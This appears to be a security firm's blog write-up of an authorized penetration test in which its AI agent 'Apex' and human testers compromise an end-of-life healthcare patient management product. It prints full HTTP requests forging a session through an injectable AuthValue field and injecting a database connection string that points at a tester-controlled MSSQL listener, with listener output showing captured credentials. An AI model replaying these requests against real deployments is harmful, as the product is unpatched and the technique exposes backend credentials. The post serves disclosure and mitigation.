During a recent external penetration test, Sprocket leveraged our new unauthenticated web application AI penetration testing agent dubbed "Apex" alongside our traditional automated and manual human-driven testing. Within minutes, Apex had read the application’s client-side JavaScript, found an unauthenticated session injection vulnerability, validated it, and handed a working foothold to a human tester. From there, a Sprocket pentester turned that foothold into a full compromise of the service’s backend database credentials.

AI pentesting agents and human pentesters are good at different things, and we’ve found the most interesting and impactful work happens with a hybrid approach. An agent can read every line of client-side code and probe an API faster than any human but AI doesn’t always get that “gut feeling” that there is more there when it sees a stray line of JSON in a response or catches a mis-spelling in the code.

This engagement produced two zero-day vulnerabilities. The product has since reached end of life and disclosure is ongoing as of this writing, so the details below are intentionally broad.

Key Takeaways

  • During a recent engagement, Apex, Sprocket's new unauthenticated web application AI pentesting agent, autonomously discovered a session injection vulnerability.
  • Sprocket manually used that finding as a foothold, enumerated the API, and ultimately chained multiple misconfigurations and another vulnerability to compromise the service's database credentials over the Internet.
  • The engagement resulted in two zero-day ("0-day") vulnerabilities in a health care patient management solution.
  • AI agents and human pentesters are complementary. Apex compressed hours of recon, enumeration, and initial vulnerability analysis into minutes, and human intuition turned a session-forgery bug into a full backend compromise.

Combining AI Agents and Manual Testing

Sprocket was performing an external penetration test for a healthcare client. Alongside traditional automated and manual testing, we kicked off an unauthenticated test using Apex, and within a few minutes, Apex read all client-side source code, discovered an unauthenticated session injection vulnerability, validated it, and notified the tester of the finding.

From there, Sprocket manually enumerated the notable API endpoints, discovered other misconfigurations and another novel vulnerability, and eventually performed a forced authentication attack to compromise the service’s backend database credentials.

Two zero-day vulnerabilities were discovered and responsibly disclosed to the vendor. The product has since reached end of life and no patch will be issued. As such, the following details will be intentionally broad.

Unauthenticated Session Injection

Through reading the client source code, Apex discovered the /api/userAuthenticate endpoint requires a user-supplied JSON object called AuthValue. Apex injected a username into this variable, presented it to the authentication endpoint, and received a valid session cookie.

Request:

POST /api/userAuthenticate HTTP/2
Host: website.com

AuthValue={"UserName":"Sprocket"}

Response:

HTTP/2 200 OK
Set-Cookie: .AspNetCore.Session=SPROCKET-COOKIE-01;

{
	"successfulAuth":true,
	"noPermissions":false,
	"sessionExpired":false,
	"errorMessage":""
}

Mass Parameter Assignment

Sprocket then manually enumerated the other available API endpoints to determine whether the session injection properly worked. After requesting a cookie, Sprocket presented it to /api/getSessionInfo, which indicates a valid session.

Additionally, the API returns every possible value that can be requested and set by the user’s initial AuthValue request.

Request:

POST /api/getSessionInfo HTTP/2
Host: website.com
Cookie: .AspNetCore.Session=SPROCKET-COOKIE-01

Response:

HTTP/2 200 OK

{
	"UserId":0,
	"UserName":"Sprocket",
	"DBName":null,
	"ApplicationID":null,
	"DBConnectionString":null,
	...
}

From the server’s response, the DBName and DBConnectionString values stuck out, and Sprocket wanted to target those specifically.

Forced Authentication

Knowing the application used DBConnectionString from the session to initiate backend connections, Sprocket injected an outbound MSSQL listener string to attempt a forced authentication attack. This requires that the Sprocket penetration testers stand up a Sprocket-controlled MSSQL listener on the Internet that would be accessible by the client’s application. If no database connection string filtering and outbound firewall rules prevented the connection, Sprocket would receive the database’s username and password.

Request:

POST /api/userAuthenticate HTTP/2
Host: website.com
AuthValue={"DBName":"master;Data Source=SPROCKET-IP,1433;Connection Timeout=3"}

Response:

HTTP/2 200 OK
Set-Cookie: .AspNetCore.Session=SPROCKET-COOKIE-02;

{
	"successfulAuth":true,
	"noPermissions":false,
	"sessionExpired":false,
	"errorMessage":""
}

Present to DB endpoint:

POST /api/DBConnect HTTP/2
Host: website.com
Cookie: .AspNetCore.Session=SPROCKET-COOKIE-02

Sprocket's Listener:

[MSSQL] Received connection from WEBSITE-IP
[MSSQL] Cleartext Client   : WEBSITE-IP
[MSSQL] Cleartext Hostname : SPROCKET-IP,1433 (master)
[MSSQL] Cleartext Username : DB-CORE
[MSSQL] Cleartext Password : PASSWORD123

The backend service read DBConnectionString from AuthValue and initiated an outbound MSSQL connection, which resulted in the compromise of the backend service account.

Ethical Disclosure Timeline

Upon confirming both vulnerabilities - session injection and mass parameter assignment - were valid and exploitable, Sprocket initiated disclosure to the vendor. It was found that the original vendor is no longer in business and the product is end-of-life so a fix is no likely. However, Sprocket is working with the vendor who owns the product currently to determine next steps as of this writing.

When No Fix Is Available

Although no patch is available, work can still be done to remediate vulnerabilities like this in the short-term. While the ultimate end-goal is to migrate to a modern and actively-supported platform, the following could be implemented:

  • WAF rules to detect and block requests containing connection string patterns in application parameters.
  • Network-level firewall rules to prevent the backend service from initiating outbound connections to unexpected hosts and ports.
  • Host and network-level firewall rules to limit database connections to only trusted databases.

Once in place, Sprocket validates mitigating controls and continuously regression tests affected hosts to validate whether implemented controls remain effective long-term and if they can be bypassed.

Conclusion

Apex identified the session injection vulnerability within minutes of starting an unauthenticated test, which gave Sprocket’s testers the tools needed to discover and abuse a mass parameter assignment vulnerability, and ultimately craft the final request that compromised the backend database.

References